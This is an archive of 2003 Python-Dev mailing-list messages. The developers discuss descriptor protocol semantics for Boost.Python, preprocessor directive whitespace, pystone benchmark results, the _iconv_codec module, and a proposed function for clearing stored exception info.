FWIW, it doesn't disambiguate anything: class C { static int x; }; C c; int y = C::x; int z = c.x; The compiler already knows which of 'C' and 'c' is a typename and which is an object. Maybe it's just a pointless syntax difference... > not to mention declarations, I think it is reasonable that this > unusual case requires a little more effort; you should be glad that > it's possible at all. :-) My heart is full of gladness! >> 1. To throw out a straw-man suggestion, what about adding an >> additional protocol __set2__ which, if found, will be called >> instead of __set__ both for reading _and_ writing attributes on the >> class? > > Let me throw out this straw-man right away: I'm not excited about > this. You can write a metaclass that implements this generically > though. I considered these two options: option 1: introduce a separate metaclass for every wrapped class so that we have a place to stick a property object. option 1a: only do this if the user supplies a special extra template parameter to the class_<...> declaration option 2: Implement a special property type which allows us to easily identify property attributes which correspond to Boost.Python static data members Implement a special __setattr__ in the Boost.Python metaclass which looks up the attribute on the class to see if it has this special type; if so, it is called, and otherwise the default __setattr__ behavior takes effect. I was going to go with option 1. Are you suggesting option 2? >> 2. What are the optional type=None arguments for? It seems as though >> only the middle argument (obj) is ever None. I just copied this >> protocol out of descrintro.html > > Only __get__ has both obj and type as arguments; __set__ has obj and > value, __delete__ only obj. > > __get__ has obj and type because it can be used for instance and class > attribute access. When called for a class, obj is None because it is > unavailable; but when called for an instance, type is set to obj's > class, for the convenience of descriptors that aren't interested in > the instance (like staticmethod and classmethod). Yes, but type is always non-None, it seems. Look at descrintro.html again. It says: Example: coding super in Python. As an illustration of the power of the new system, here's a fully functional implementation of the super() built-in class in pure Python. This may also help clarify the semantics of super() by spelling out the search in ample detail. The print statement at the bottom of the following code prints "DCBA". class Super(object): def __init__(self, type, obj=None): self.__type__ = type self.__obj__ = obj def __get__(self, obj, type=None): ^^^^^^^^^ if self.__obj__ is None and obj is not None: return Super(self.__type__, obj) else: return self Also, PEP 252 says: - __get__(): a function callable with one or two arguments that retrieves the attribute value from an object. What's that about? Does __get__ ever get called with just one argument (excluding self)? If so, when? >> 3. Is there documentation for __delete__ anywhere? > > Apparently not, but it's easy to guess what it does if you know > __getattr__, __setattr__ and __delattr__. It's __delete__ and not > __del__ because __del__ is already taken. In an early alpha release > it was actually __del__, but that didn't work very well. :-) It's easy enough to guess what it does by instrumenting it, too. However, it's been out in a released Python for several versions now and I get tired of guessing every time I have to write a new one of these ;-). I think it's time there were some official docs. -- Dave Abrahams Boost Consulting www.boost-consulting.com From guido@python.org Mon Feb 24 00:53:57 2003 From: guido@python.org (Guido van Rossum) Date: Sun, 23 Feb 2003 19:53:57 -0500 Subject: [Python-Dev] assymetry in descriptor behavior In-Reply-To: "Your message of Sun, 23 Feb 2003 19:46:25 EST." References: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net> > FWIW, it doesn't disambiguate anything: I'm not prepared to argue about C++ with you. :-) > I considered these two options: > > option 1: > introduce a separate metaclass for every wrapped class so that we > have a place to stick a property object. > > option 1a: > only do this if the user supplies a special extra template > parameter to the class_<...> declaration > > option 2: > Implement a special property type which allows us to easily > identify property attributes which correspond to Boost.Python static > data members > > Implement a special __setattr__ in the Boost.Python metaclass which > looks up the attribute on the class to see if it has this special > type; if so, it is called, and otherwise the default __setattr__ > behavior takes effect. > > I was going to go with option 1. Are you suggesting option 2? It would seem to be less work than having a separate metaclass for each class that has a static data item. But it's really up to you. > >> 2. What are the optional type=None arguments for? It seems as though > >> only the middle argument (obj) is ever None. I just copied this > >> protocol out of descrintro.html > > > > Only __get__ has both obj and type as arguments; __set__ has obj and > > value, __delete__ only obj. > > > > __get__ has obj and type because it can be used for instance and class > > attribute access. When called for a class, obj is None because it is > > unavailable; but when called for an instance, type is set to obj's > > class, for the convenience of descriptors that aren't interested in > > the instance (like staticmethod and classmethod). > > Yes, but type is always non-None, it seems. Yes, that's what I said. > Look at descrintro.html again. It says: > > Example: coding super in Python. > > As an illustration of the power of the new system, here's a fully > functional implementation of the super() built-in class in pure > Python. This may also help clarify the semantics of super() by > spelling out the search in ample detail. The print statement at the > bottom of the following code prints "DCBA". > > class Super(object): > def __init__(self, type, obj=None): > self.__type__ = type > self.__obj__ = obj > def __get__(self, obj, type=None): > ^^^^^^^^^ > if self.__obj__ is None and obj is not None: > return Super(self.__type__, obj) > else: > return self > > Also, PEP 252 says: > > - __get__(): a function callable with one or two arguments that > retrieves the attribute value from an object. > > What's that about? Does __get__ ever get called with just one > argument (excluding self)? If so, when? When you call it yourself (rather than when it is called as a result of __getattribute__). I suppose this is a bit redundant. > >> 3. Is there documentation for __delete__ anywhere? > > > > Apparently not, but it's easy to guess what it does if you know > > __getattr__, __setattr__ and __delattr__. It's __delete__ and not > > __del__ because __del__ is already taken. In an early alpha release > > it was actually __del__, but that didn't work very well. :-) > > It's easy enough to guess what it does by instrumenting it, too. > However, it's been out in a released Python for several versions now > and I get tired of guessing every time I have to write a new one of > these ;-). I think it's time there were some official docs. So volunteer some. --Guido van Rossum (home page: http://www.python.org/~guido/) From dave@boost-consulting.com Mon Feb 24 02:18:01 2003 From: dave@boost-consulting.com (David Abrahams) Date: Sun, 23 Feb 2003 21:18:01 -0500 Subject: [Python-Dev] assymetry in descriptor behavior In-Reply-To: <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net> (Guido van Rossum's message of "Sun, 23 Feb 2003 19:53:57 -0500") References: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net> Message-ID: Guido van Rossum writes: >> I considered these two options: >> >> option 1: >> introduce a separate metaclass for every wrapped class so that we >> have a place to stick a property object. >> >> option 1a: >> only do this if the user supplies a special extra template >> parameter to the class_<...> declaration >> >> option 2: >> Implement a special property type which allows us to easily >> identify property attributes which correspond to Boost.Python static >> data members >> >> Implement a special __setattr__ in the Boost.Python metaclass which >> looks up the attribute on the class to see if it has this special >> type; if so, it is called, and otherwise the default __setattr__ >> behavior takes effect. >> >> I was going to go with option 1. Are you suggesting option 2? > > It would seem to be less work than having a separate metaclass for > each class that has a static data item. But it's really up to you. My reasoning was: it favors speed and code size over data size. The only downside I can see is that an extra object (the metaclass object) is created for every wrapped class. It's also simpler to implement. However, I think it might also cost an extra property object per wrapped class, unless I can find a way to get the class and its instance to share the property. Hmm, feels a bit hack-ish to me now that you mention it. Maybe option 2 is better after all. But then, do I want to implement tp_getattr or tp_getattro? I don't recall the differences. >> Yes, but type is always non-None, it seems. > > Yes, that's what I said. > >> Look at descrintro.html again. It says: >> >> Example: coding super in Python. >> >> As an illustration of the power of the new system, here's a fully >> functional implementation of the super() built-in class in pure >> Python. This may also help clarify the semantics of super() by >> spelling out the search in ample detail. The print statement at the >> bottom of the following code prints "DCBA". >> >> class Super(object): >> def __init__(self, type, obj=None): >> self.__type__ = type >> self.__obj__ = obj >> def __get__(self, obj, type=None): >> ^^^^^^^^^ >> if self.__obj__ is None and obj is not None: >> return Super(self.__type__, obj) >> else: >> return self >> >> Also, PEP 252 says: >> >> - __get__(): a function callable with one or two arguments that >> retrieves the attribute value from an object. >> >> What's that about? Does __get__ ever get called with just one >> argument (excluding self)? If so, when? > > When you call it yourself (rather than when it is called as a result > of __getattribute__). When do you call it yourself? > I suppose this is a bit redundant. I guess; I don't know. I'm trying to understand whether "callable with one or two arguments" is really part of the requirements for use as a property method, or just something that got thrown in there. >> >> 3. Is there documentation for __delete__ anywhere? >> > >> > Apparently not, but it's easy to guess what it does if you know >> > __getattr__, __setattr__ and __delattr__. It's __delete__ and not >> > __del__ because __del__ is already taken. In an early alpha release >> > it was actually __del__, but that didn't work very well. :-) >> >> It's easy enough to guess what it does by instrumenting it, too. >> However, it's been out in a released Python for several versions now >> and I get tired of guessing every time I have to write a new one of >> these ;-). I think it's time there were some official docs. > > So volunteer some. I'm anxious to, and I will -- just as soon as I can get a clear picture of what I should say. Gee, I guess "someone" should document __getattribute__ while I'm in there. Are there any other obvious omissions in that neighborhood? -- Dave Abrahams Boost Consulting www.boost-consulting.com From nas@python.ca Mon Feb 24 02:51:27 2003 From: nas@python.ca (Neil Schemenauer) Date: Sun, 23 Feb 2003 18:51:27 -0800 Subject: [Python-Dev] Re: [Python-checkins] python/dist/src configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18 In-Reply-To: References: Message-ID: <20030224025127.GA10536@glacier.arctrix.com> nnorwitz@users.sourceforge.net wrote: > Need to make sure that preprocessor directives start in first column. > This means we can't indent code which has preprocessor directives, > nor have a space between [ #include for example. What does the C standard say about this? I'm curious. Neil From tim.one@comcast.net Mon Feb 24 03:29:59 2003 From: tim.one@comcast.net (Tim Peters) Date: Sun, 23 Feb 2003 22:29:59 -0500 Subject: [Python-Dev] Re: [Python-checkins] python/dist/src configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18 In-Reply-To: <20030224025127.GA10536@glacier.arctrix.com> Message-ID: [from a checkin comment] > Need to make sure that preprocessor directives start in first column. > This means we can't indent code which has preprocessor directives, > nor have a space between [ #include for example. [Neil Schemenauer] > What does the C standard say about this? I'm curious. Spaces and horizontal tabs are fine before '#', and between '#' and the directive name; other kinds of whitespace are not OK in directive lines (and directive lines are special this way); sounds like we're catering to a broken compiler here. From dave@boost-consulting.com Mon Feb 24 03:49:25 2003 From: dave@boost-consulting.com (David Abrahams) Date: Sun, 23 Feb 2003 22:49:25 -0500 Subject: [Python-Dev] assymetry in descriptor behavior In-Reply-To: (David Abrahams's message of "Sun, 23 Feb 2003 21:18:01 -0500") References: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net> Message-ID: David Abrahams writes: >>> It's easy enough to guess what it does by instrumenting it, too. >>> However, it's been out in a released Python for several versions now >>> and I get tired of guessing every time I have to write a new one of >>> these ;-). I think it's time there were some official docs. >> >> So volunteer some. > > I'm anxious to, and I will -- just as soon as I can get a clear > picture of what I should say. Gee, I guess "someone" should document > __getattribute__ while I'm in there. Are there any other obvious > omissions in that neighborhood? Didn't want this hanging over my head so I submitted the doc patch already. I guess youse guys can clean it up if I made any conceptual or formatting errors. -- Dave Abrahams Boost Consulting www.boost-consulting.com From mal@lemburg.com Mon Feb 24 08:20:50 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Mon, 24 Feb 2003 09:20:50 +0100 Subject: [Python-Dev] Re: [Python-checkins] python/dist/src configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18 In-Reply-To: <20030224025127.GA10536@glacier.arctrix.com> References: <20030224025127.GA10536@glacier.arctrix.com> Message-ID: <3E59D5E2.4010504@lemburg.com> Neil Schemenauer wrote: > nnorwitz@users.sourceforge.net wrote: > >>Need to make sure that preprocessor directives start in first column. >>This means we can't indent code which has preprocessor directives, >>nor have a space between [ #include for example. > > What does the C standard say about this? I'm curious. No idea, but emacs mode is pretty clear on this: you don't get syntax highlighting when moving the # beyond column 1. What I usually do is to indent the directive after the #: #ifdef MX_BUILDING_MXDATETIME # define MXDATETIME_EXTERNALIZE MX_EXPORT #else # define MXDATETIME_EXTERNALIZE MX_IMPORT #endif -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 24 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 36 days left EuroPython 2003, Charleroi, Belgium: 120 days left From andymac@bullseye.apana.org.au Mon Feb 24 10:38:14 2003 From: andymac@bullseye.apana.org.au (Andrew MacIntyre) Date: Mon, 24 Feb 2003 20:38:14 +1000 (est) Subject: [Python-Dev] tuning up... In-Reply-To: <200302231320.h1NDK4510738@pcp02138704pcs.reston01.va.comcast.net> Message-ID: On Sun, 23 Feb 2003, Guido van Rossum wrote: > > I've just put together a binary distribution of 2.3a2 for OS/2 EMX, and > > for the hell of it compared the pystone ratings of 2.3a2 against 2.2.2 > > on 2 different systems. > > > > Results: > > 2.2.2 2.3a2 change > > system 1 18200 21700 +19.2% > > system 2a 5600 6975 +24.5% > > system 2b 6600 8540 +29.4% > > > > (Pystone on 2.2.2 adjusted to 50000 loops, average of 3 runs) > > > > Hardware: > > system 1: Athlon 1.4GHz, 512MB (PC133), OS/2 v4.0 FP12, gcc 2.8.1 -O2 > > system 2a: Via C3 800MHz, 256MB (PC133), OS/2 v4.0 FP15, gcc 2.8.1 -O2 > > system 2b: " , " , FreeBSD 4.7, gcc 2.95.4 -g -O3 > > About 10% of the improvement is due to the removal of SET_LINENO > opcodes; to remove this effect, you should compare python2.2 -O to > python2.3. Ok, for completeness, these are the -O times: 2.2.2 2.3a2 change system 1 20000 21650 +8.2% system 2a 6100 6990 +14.5% system 2b 7170 8620 +20.2% Your 10% claim wasn't far off! I'm still somewhat intrigued by the difference between the systems - IIRC the C3 CPU has only 64kB of cache, so may be some of the gains are related to better cache locality (at least for pystone) which is less obvious on CPUs with more cache. -- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac@bullseye.apana.org.au | Snail: PO Box 370 andymac@pcug.org.au | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From guido@python.org Mon Feb 24 12:40:34 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 24 Feb 2003 07:40:34 -0500 Subject: [Python-Dev] assymetry in descriptor behavior In-Reply-To: "Your message of Sun, 23 Feb 2003 21:18:01 EST." References: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <200302241240.h1OCeYQ12880@pcp02138704pcs.reston01.va.comcast.net> > However, I think it might also cost an extra property object per > wrapped class, unless I can find a way to get the class and its > instance to share the property. Hmm, feels a bit hack-ish to me now > that you mention it. Maybe option 2 is better after all. But then, > do I want to implement tp_getattr or tp_getattro? I don't recall the > differences. Definitely tp_getattro. The difference is that tp_getattr takes a C string argument and tp_getattr takes a Python string object. > > When you call it yourself (rather than when it is called as a result > > of __getattribute__). > > When do you call it yourself? I've never called it myself except in the test suite. > > I suppose this is a bit redundant. > > I guess; I don't know. I'm trying to understand whether "callable > with one or two arguments" is really part of the requirements for use > as a property method, or just something that got thrown in there. The latter. The type argument was an afterthought -- I had originally not thought about class attribute access at all. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Mon Feb 24 13:08:13 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 24 Feb 2003 08:08:13 -0500 Subject: [Python-Dev] _iconv_codec Message-ID: <200302241308.h1OD8Dn13161@pcp02138704pcs.reston01.va.comcast.net> Can anybody explain the point of the iconv_codec module to me? I see no docs for it, there's a continued stream of bug reports related to it. I've heard that it's a wrapper around some 3rd party library, but that doesn't help me -- I don't know anything about that 3rd party library module either. --Guido van Rossum (home page: http://www.python.org/~guido/) From dave@boost-consulting.com Mon Feb 24 13:21:59 2003 From: dave@boost-consulting.com (David Abrahams) Date: Mon, 24 Feb 2003 08:21:59 -0500 Subject: [Python-Dev] assymetry in descriptor behavior In-Reply-To: <200302241240.h1OCeYQ12880@pcp02138704pcs.reston01.va.comcast.net> (Guido van Rossum's message of "Mon, 24 Feb 2003 07:40:34 -0500") References: <200302232319.h1NNJpS11424@pcp02138704pcs.reston01.va.comcast.net> <200302240053.h1O0rvS11827@pcp02138704pcs.reston01.va.comcast.net> <200302241240.h1OCeYQ12880@pcp02138704pcs.reston01.va.comcast.net> Message-ID: Guido van Rossum writes: >> However, I think it might also cost an extra property object per >> wrapped class, unless I can find a way to get the class and its >> instance to share the property. Hmm, feels a bit hack-ish to me now >> that you mention it. Maybe option 2 is better after all. But then, >> do I want to implement tp_getattr or tp_getattro? I don't recall the >> differences. > > Definitely tp_getattro. The difference is that tp_getattr takes a C ^^^^^^^^^^ > string argument and tp_getattr takes a Python string object. ^^^^^^^^^^ I guess I can figure out which you mean by looking at the source (Luke). >> > When you call it yourself (rather than when it is called as a result >> > of __getattribute__). >> >> When do you call it yourself? > > I've never called it myself except in the test suite. > >> > I suppose this is a bit redundant. >> >> I guess; I don't know. I'm trying to understand whether "callable >> with one or two arguments" is really part of the requirements for use >> as a property method, or just something that got thrown in there. > > The latter. The type argument was an afterthought -- I had originally > not thought about class attribute access at all. OK; I hope you like the doc patch I submitted, then. It doesn't require "callable with one argument", only two. -- Dave Abrahams Boost Consulting www.boost-consulting.com From perky@fallin.lv Mon Feb 24 14:08:34 2003 From: perky@fallin.lv (Hye-Shik Chang) Date: Mon, 24 Feb 2003 23:08:34 +0900 Subject: [Python-Dev] _iconv_codec In-Reply-To: <200302241308.h1OD8Dn13161@pcp02138704pcs.reston01.va.comcast.net> References: <200302241308.h1OD8Dn13161@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030224140834.GA2592@fallin.lv> On Mon, Feb 24, 2003 at 08:08:13AM -0500, Guido van Rossum wrote: > Can anybody explain the point of the iconv_codec module to me? I see > no docs for it, there's a continued stream of bug reports related to > it. I've heard that it's a wrapper around some 3rd party library, but > that doesn't help me -- I don't know anything about that 3rd party > library module either. > > --Guido van Rossum (home page: http://www.python.org/~guido/) > _iconv_codec wraps around iconv(3) function which is defined in POSIX. (http://www.opengroup.org/onlinepubs/007904975/functions/iconv.html) IMHO, we don't need docs for it because no user is expected to access _iconv_codec directly. It just provides a codec set interface to libiconv when python doesn't have standard codec for some encoding. I feel that raising RuntimeError on init_iconv_codec is producing numerous bug reports. Because insane iconv(3) is fatal for iconv_codec but not for python, I think it should raise ImportError instead of RuntimeError. To be honest, there're some minor problems on _iconv_codec that I know, currently. I'm working on an unified multibyte codec codebase for {zh,ja,ko,iconv}codecs nowadays. I guess that I can submit fully reimplemented versions of {zh,ko,iconv}codecs in a week. It will resolve most problems on now. Sorry for immature status of _iconv_codec and I will do my best to make it stable before 2.3b1. Thank you. Regards, Hye-Shik =) From nas@python.ca Mon Feb 24 14:29:51 2003 From: nas@python.ca (Neil Schemenauer) Date: Mon, 24 Feb 2003 06:29:51 -0800 Subject: [Python-Dev] tuning up... In-Reply-To: References: <200302231320.h1NDK4510738@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <20030224142951.GA11470@glacier.arctrix.com> Andrew MacIntyre wrote: > I'm still somewhat intrigued by the difference between the systems - IIRC > the C3 CPU has only 64kB of cache, so may be some of the gains are related > to better cache locality (at least for pystone) which is less obvious on > CPUs with more cache. I did some reorganization of the eval loop that gained a few percent on pystone. Neil From guido@python.org Mon Feb 24 14:55:18 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 24 Feb 2003 09:55:18 -0500 Subject: [Python-Dev] _iconv_codec In-Reply-To: Your message of "Mon, 24 Feb 2003 23:08:34 +0900." <20030224140834.GA2592@fallin.lv> References: <200302241308.h1OD8Dn13161@pcp02138704pcs.reston01.va.comcast.net> <20030224140834.GA2592@fallin.lv> Message-ID: <200302241455.h1OEtJR02170@odiug.zope.com> > _Iconv_codec wraps around iconv(3) function which is defined in > POSIX. (http://www.opengroup.org/onlinepubs/007904975/functions/iconv.html) There are many POSIX standards. Which one is that? The title says "The Open Group Base Specifications Issue 6" which doesn't help me. > IMHO, we don't need docs for it because no user is expected to access > _iconv_codec directly. It just provides a codec set interface to libiconv > when python doesn't have standard codec for some encoding. Well, *somebody* is going to have to know how it works, and fix the bugs long after you've lost interested in this project. I don't care if you explain it in the form of comments in the Python or C modules, but there needs to be more explanation of what this is and how it works. > I feel that raising RuntimeError on init_iconv_codec is producing numerous > bug reports. Because insane iconv(3) is fatal for iconv_codec but > not for python, I think it should raise ImportError instead of RuntimeError. The right time to test for insane iconv() is at configure time, not at import time. Before I changed your Py_FatalError() calls to raising RuntimeError, there were even more problems. Saying the bug reports are caused by the RuntimeError is not right: the problems are caused by iconv(), not by the specific exception that is being raised. > To be honest, there're some minor problems on _iconv_codec that I know, > currently. I'm working on an unified multibyte codec codebase for > {zh,ja,ko,iconv}codecs nowadays. I guess that I can submit fully > reimplemented versions of {zh,ko,iconv}codecs in a week. It will resolve > most problems on now. > > Sorry for immature status of _iconv_codec and I will do my best to > make it stable before 2.3b1. OK, keep them patches coming to SF. --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Mon Feb 24 17:34:27 2003 From: tismer@tismer.com (Christian Tismer) Date: Mon, 24 Feb 2003 18:34:27 +0100 Subject: [Python-Dev] Traceback problem Message-ID: <3E5A57A3.1040207@tismer.com> Hi py-dev, I got a problem report for Stackless today, that it seems to leak with tracebacks. After trying other Python versions, I found out that this is a "feature" of Python and not related to Stackless. The problem becomes only more visible, since people are keeping thousands of threads alive. Here the problem: When an exception has been raised in a frame, and it already is handled in an except clause, the exception is not cleared out from tstate and also stays alive in the frame object. Only when the frame is left, eval_frame calls reset_exc_info(tstate); which clear all these, breaking cycles. Question: Does this need to be so, and for what reason? Would it be equivalent if I cleared error info in the context of a finally: ? If not, please give me advice how to solve this problem. It exists in all long-running frames which have seen exceptions. Thanks a lot - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Mon Feb 24 18:01:08 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 24 Feb 2003 13:01:08 -0500 Subject: [Python-Dev] Traceback problem In-Reply-To: Your message of "Mon, 24 Feb 2003 18:34:27 +0100." <3E5A57A3.1040207@tismer.com> References: <3E5A57A3.1040207@tismer.com> Message-ID: <200302241801.h1OI1AD02629@odiug.zope.com> If I understand correctly what you are referring to, this is a feature. You're supposed to say: try: return f() except: pass sys.exc_info() i.e. the exc_info() must remain accessible. --Guido van Rossum (home page: http://www.python.org/~guido/) From tismer@tismer.com Mon Feb 24 18:10:29 2003 From: tismer@tismer.com (Christian Tismer) Date: Mon, 24 Feb 2003 19:10:29 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: <200302241801.h1OI1AD02629@odiug.zope.com> References: <3E5A57A3.1040207@tismer.com> <200302241801.h1OI1AD02629@odiug.zope.com> Message-ID: <3E5A6015.1040107@tismer.com> Guido van Rossum wrote: > If I understand correctly what you are referring to, this is a > feature. You're supposed to say: > > try: > return f() > except: > pass > sys.exc_info() > > i.e. the exc_info() must remain accessible. Aha! Yup! Thanks. Then, it is probably not a bug but a feature. Would it be ok then, if I write a function that exposes reset_exc_info to the user? sys.exc_clear() # maybe? Or a function which returns *and* clears the exc? tup = sys.exc_info_reset() ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From tismer@tismer.com Mon Feb 24 18:15:20 2003 From: tismer@tismer.com (Christian Tismer) Date: Mon, 24 Feb 2003 19:15:20 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: <3E5A6015.1040107@tismer.com> References: <3E5A57A3.1040207@tismer.com> <200302241801.h1OI1AD02629@odiug.zope.com> <3E5A6015.1040107@tismer.com> Message-ID: <3E5A6138.1080706@tismer.com> Christian Tismer wrote: > Guido van Rossum wrote: > >> If I understand correctly what you are referring to, this is a >> feature. You're supposed to say: >> >> try: >> return f() >> except: >> pass >> sys.exc_info() >> >> i.e. the exc_info() must remain accessible. Proposal: changing sys.exc_info into def exc_info(reset=False): ## if reset is true, also clear the error. ciao - chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From guido@python.org Mon Feb 24 18:12:26 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 24 Feb 2003 13:12:26 -0500 Subject: [Python-Dev] Traceback problem In-Reply-To: Your message of "Mon, 24 Feb 2003 19:10:29 +0100." <3E5A6015.1040107@tismer.com> References: <3E5A57A3.1040207@tismer.com> <200302241801.h1OI1AD02629@odiug.zope.com> <3E5A6015.1040107@tismer.com> Message-ID: <200302241812.h1OICSV02711@odiug.zope.com> > Guido van Rossum wrote: > > If I understand correctly what you are referring to, this is a > > feature. You're supposed to say: > > > > try: > > return f() > > except: > > pass > > sys.exc_info() > > > > i.e. the exc_info() must remain accessible. [Christian] > Aha! Yup! Thanks. > > Then, it is probably not a bug but a feature. > Would it be ok then, if I write a function > that exposes reset_exc_info to the user? > > sys.exc_clear() # maybe? > > Or a function which returns *and* clears the exc? > > tup = sys.exc_info_reset() Sure, as long as it is part of Stackless and not of Python proper. --Guido van Rossum (home page: http://www.python.org/~guido/) From jacobs@penguin.theopalgroup.com Mon Feb 24 18:39:27 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Mon, 24 Feb 2003 13:39:27 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <200302241812.h1OICSV02711@odiug.zope.com> Message-ID: On Mon, 24 Feb 2003, Guido van Rossum wrote: > [Christian] > > Then, it is probably not a bug but a feature. > > Would it be ok then, if I write a function > > that exposes reset_exc_info to the user? > > > > sys.exc_clear() # maybe? > > > > Or a function which returns *and* clears the exc? > > > > tup = sys.exc_info_reset() > > Sure, as long as it is part of Stackless and not of Python proper. Actually, I've wanted a reset_exc() call from time to time. What is the barrer to having in the core? Thanks, -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From guido@python.org Mon Feb 24 19:04:14 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 24 Feb 2003 14:04:14 -0500 Subject: [Python-Dev] Traceback problem In-Reply-To: Your message of "Mon, 24 Feb 2003 13:39:27 EST." References: Message-ID: <200302241904.h1OJ4LP02895@odiug.zope.com> > > Sure, as long as it is part of Stackless and not of Python proper. > > Actually, I've wanted a reset_exc() call from time to time. What is the > barrer to having in the core? I believe that Stackless supports Python 2.1 or older, and we're not adding features. Even if Stackless supported Python 2.2, adding a new feature would be iffy. --Guido van Rossum (home page: http://www.python.org/~guido/) From jacobs@penguin.theopalgroup.com Mon Feb 24 19:05:14 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Mon, 24 Feb 2003 14:05:14 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <200302241904.h1OJ4LP02895@odiug.zope.com> Message-ID: On Mon, 24 Feb 2003, Guido van Rossum wrote: > > > Sure, as long as it is part of Stackless and not of Python proper. > > > > Actually, I've wanted a reset_exc() call from time to time. What is the > > barrer to having in the core? > > I believe that Stackless supports Python 2.1 or older, and we're not > adding features. Even if Stackless supported Python 2.2, adding a new > feature would be iffy. This has nothing to do with Stackless, and I'm happy to have it for Python 2.3 (or 2.4 if it is too risky to add post-a2). Thanks, -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From guido@python.org Mon Feb 24 19:13:01 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 24 Feb 2003 14:13:01 -0500 Subject: [Python-Dev] Traceback problem In-Reply-To: Your message of "Mon, 24 Feb 2003 14:05:14 EST." References: Message-ID: <200302241913.h1OJD3102957@odiug.zope.com> > > > > Sure, as long as it is part of Stackless and not of Python proper. > > > > > > Actually, I've wanted a reset_exc() call from time to time. What is the > > > barrer to having in the core? > > > > I believe that Stackless supports Python 2.1 or older, and we're not > > adding features. Even if Stackless supported Python 2.2, adding a new > > feature would be iffy. > > This has nothing to do with Stackless, Well, Christian explained that it was a problem because they have 1000s of threads. > and I'm happy to have it for Python > 2.3 (or 2.4 if it is too risky to add post-a2). I don't have time to write the code, but I'll entertain a patch before 2.3b1. --Guido van Rossum (home page: http://www.python.org/~guido/) From jacobs@penguin.theopalgroup.com Mon Feb 24 19:50:16 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Mon, 24 Feb 2003 14:50:16 -0500 (EST) Subject: [Python-Dev] Traceback problem In-Reply-To: <200302241913.h1OJD3102957@odiug.zope.com> Message-ID: On Mon, 24 Feb 2003, Guido van Rossum wrote: > > This has nothing to do with Stackless, > > Well, Christian explained that it was a problem because they have > 1000s of threads. My problem relates to logging the "last exception" in a catch-all error handler. We sometimes see the same exception when an error occurs and no new exception is thrown. > > and I'm happy to have it for Python > > 2.3 (or 2.4 if it is too risky to add post-a2). > > I don't have time to write the code, but I'll entertain a patch before > 2.3b1. No problem. I'll upload it to SF, along with documentation and a new unit test. -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From tismer@tismer.com Mon Feb 24 23:29:57 2003 From: tismer@tismer.com (Christian Tismer) Date: Tue, 25 Feb 2003 00:29:57 +0100 Subject: [Python-Dev] Traceback problem In-Reply-To: 